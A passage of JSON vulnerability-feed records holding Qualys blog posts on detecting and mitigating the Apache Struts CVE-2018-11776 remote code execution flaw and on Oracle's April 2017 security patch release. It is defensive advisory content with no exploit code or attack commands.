"published": "2018-03-09T21:45:09", "type": "qualysblog", "title": "Cryptomining is all the rage among hackers, as DDoS amplification attacks continue", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-03-09T21:45:09", "id": "QUALYSBLOG:AB2325C5FBED5CF55517445600D470C1", "href": "https://blog.qualys.com/news/2018/03/09/cryptomining-is-all-the-rage-among-hackers-as-ddos-amplification-attacks-grow", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-14T20:46:20", "description": "A new remote code execution [vulnerability](<https://cwiki.apache.org/confluence/display/WW/S2-057>) in Apache Struts 2, CVE-2018-11776, was [disclosed](<https://semmle.com/news/apache-struts-CVE-2018-11776>) yesterday. While this vulnerability does not exist with a default configuration of Struts, it does exist in commonly seen configurations for some Struts plugins.\n\n**Update August 24, 2018**: A [dashboard for this vulnerability](<https://community.qualys.com/docs/DOC-6515-dashboards-and-reporting-detecting-apache-struts-2-namespace-rce-cve-2018-11776>) is now available to download.\n\n### The Vulnerability\n\nStruts improperly validates namespaces, allowing for [OGNL](<https://en.wikipedia.org/wiki/OGNL>) injection, and can lead to full remote code execution on the target system. For a more detailed technical look at the vulnerability, please see our [Threat Protection blog](<https://threatprotect.qualys.com/2018/08/22/apache-struts-2-namespace-remote-code-execution-vulnerability-cve-2018-11776/>) on this topic. Struts versions 2.3.34 and 2.5.16 and before are impacted.\n\n### Recommended Response\n\nDue to the ease of exploitation and relatively common configuration that is required, this vulnerability should be patched immediately for all applications that use Struts 2. Patched versions are Struts [2.3.35](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.35>) and [2.5.17](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.17>). A publicly available [PoC](<https://github.com/jas502n/St2-057/blob/master/README.md>) has already been published, and active attacks against this vulnerability are most likely imminent.\n\n### Detections\n\nVulnerabilities in application frameworks are challenging to programmatically detect with traditional VM scanning, and multiple methods of detection are needed to ensure that Struts is found.\n\nBecause of this, Qualys has implemented two QIDs for detecting CVE-2018-11776 in [Qualys Vulnerability Management](<https://www.qualys.com/apps/vulnerability-management/>):\n\n * **QID 13251** - This detection includes both remote and authenticated checks: \n * **Remote** - This detection sends a specifically crafted payload in the request to check for command execution in .action, .go, .do, .jsp and .xhtml files under common web directories.\n * **Authenticated (Linux/Unix)** - This executes ps -ef command, looks for the presence of the Tomcat process and finds the location of struts2-core-x.jar file. We are investigating using this method on other middleware technologies.\n * **QID 371151** - This authenticated scan detection uses our Tomcat auth to specify the location of the Tomcat configuration file. Once a Tomcat auth record is added, this detection reads the Tomcat location from the config and searches for struts-core.x.jar file under sub directories. It extracts the version from .jar file and compares with vulnerable Struts versions.\n * Both QIDs are included in Vulnerability Signatures version **VULNSIGS-2.4.403-3** or later\n\nQualys has also implemented a QID for detecting CVE-2018-11776 in [Qualys Web Application Scanning](<https://www.qualys.com/apps/web-application-scanning/>):\n\n * **QID 150250** - This is an active detection within WAS that sends a specially-crafted payload to the scanned web application. A vulnerable application will show evidence of a command executing on the server and QID 150250 will be reported.\n\nIn addition to scanning, Qualys recommends that application frameworks such as Struts be documented in an Application Portfolio or CMDB to ensure all components of an application are recorded and can be audited for these kinds of vulnerabilities.\n\n### Protection\n\nEven prior to the disclosure of this RCE vulnerability, [Qualys Web Application Firewall](<https://www.qualys.com/apps/web-app-firewall/>) users were already protected from exploits by every possible out-of-the-box template and generic policy. These templates, developed by security experts for Qualys WAF programmable inspection engine, are constantly tested against latests threats for the best detection rate and least false-positives.\n\n\n\nCustomers using manual policies instead of templates were potentially not protected though, depending on ELI (Expression Language Injection), CI (Code Injection) and RCE (Remote Command Execution) sliders settings, along with the blocking threshold.\n\n\n\n\n\nMitigating CVE-2018-11776 is possible by using the following methods:\n\n * native protection using a **generic policy** (QID-226017: Expression Language Injection and QID-226008: Remote Command Execution)\n * for those using a manual policy instead of an out-of-the-box template, you can alternatively create a **custom rule** with the following condition: _request.path DETECT \"qid/150178\"_\n * or of course, by applying a **virtual patch** to QID-150250 from within the WAS module ; which is equivalent to creating the rule manually, but quicker.\n\nToday\u2019s example - like \"drupalgeddon2\" a few months ago (CVE-2018-7600) - demonstrates how blocking zero-days is possible with Qualys WAF, without needing to define manual rules, giving CISO and IT Security organizations time for implementing sustainable fixes, while providing them with a tool to monitor and report any attempt to exploit the vulnerability.", "cvss3": {}, "published": "2018-08-23T20:27:19", "type": "qualysblog", "title": "Detecting Apache Struts 2 Namespace RCE: CVE-2018-11776", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-11776", "CVE-2018-7600"], "modified": "2018-08-23T20:27:19", "id": "QUALYSBLOG:22DFA98A7ED25A67B3D38EAAE5C82A9E", "href": "https://blog.qualys.com/securitylabs/2018/08/23/detecting-apache-struts-2-namespace-rce-cve-2018-11776", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-05-01T13:43:00", "description": "Today Oracle released a total of [299 new security fixes](<http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html>) across all product families. It is important to note that it fixed 25 instances of the infamous [Apache Struts vulnerability](<https://blog.qualys.com/securitylabs/2017/03/14/apache-struts-cve-2017-5638-vulnerability-and-the-qualys-solution>) which could allow a remote attacker to take complete control of the server running Struts. The struts fix was applied to 19 instances of Oracle Financial Services Applications along with WebCenter, WebLogic, Siebel, Oracle Communications, MySQL and Oracle Retail.\n\nOracle also released [Patch 25878798](<https://updates.oracle.com/download/25878798.html>) for Solaris 10 and 11.3 which fixed the second [Shadow Brokers](<https://blog.qualys.com/securitylabs/2017/04/15/the-shadow-brokers-release-zero-day-exploit-tools>) EXTREMEPARR vulnerability CVE-2017-3622. EXTREMEPARR has a CVSS Base Score of 7.8, and if successfully exploited allows a local privilege escalation in the \u2018dtappgather\u2019 component. The other Shadow Brokers vulnerability CVE-2017-3623 (a.k.a. \u201cEbbisland\u201d or \u201cEbbshave\u201d) was previously addressed by Oracle in several Solaris 10 patch distributions issued since January 26th 2012 and does not affect Solaris 11.\n\nOut of the 299 total fixes MySQL, Financial Services, Retail and Fusion Middleware take the lion\u2019s share of fixes and the distribution is shown in the chart below. Majority of the vulnerabilities in the Financial Services, Retail and Fusion Middleware could be exploited via the HTTP protocol and attackers can take complete control of the system remotely without the need of any credentials.\n\n\n\n \n\nIn databases, MySQL has seen its share of vulnerabilities rise drastically as compared to the Oracle Database server and today\u2019s release was no different with 39 MySQL bugs fixed out of which 11 could be remotely exploitable without authentication. This is a large number as compared to just 3 bugs in the Oracle Database Server. All vulnerabilities for MySQL could be exploited using the MySQL protocol used by clients to connect to the database server and organizations should create a details inventory of their MySQL servers for their exposure within the organization and outside.\n\nJava SE was patched with 8 security fixes out of which 7 are exploitable remotely without authentication. AWT, JCE and other java networking components were affect and could be exploited using FTP, SMTP and multiple other protocols. 21 Sun systems products were patched which included Solaris, Sun ZFS Storage Appliance and Solaris Cluster. Out of these, 8 vulnerabilities can be exploitable remotely. The most affected component in Oracle Linux was the Oracle VM Virtual Box and 6 of these issues are remotely exploitable.\n\nThe chart below shows a list of remotely exploitable vulnerabilities in today's release:\n\n\n\nOverall, this was another large security update with 299 fixes from Oracle touching all product lines, fixing Apache Struts embedded into products and patching a total of 162 remotely exploitable vulnerabilities.", "cvss3": {}, "published": "2017-04-18T21:39:53", "title": "Oracle Plugs Struts and Shadow Brokers hole along with 299 Total Vulnerabilities", "type": "qualysblog", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-3622", "CVE-2017-5638", "CVE-2017-3623"], "modified": "2017-04-18T21:39:53", "href": "https://blog.qualys.com/laws-of-vulnerabilities/2017/04/18/oracle-plugs-struts-hole-along-with-299-total-vulnerabilities", "id": "QUALYSBLOG:110CC96D8440CC2A1EA0521D300634ED", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "osv": [{"lastseen": "2023-08-28T12:21:43", "description": "Apache Struts contains a Remote Code Execution when using results with no namespace and it's upper actions have no or wildcard namespace.
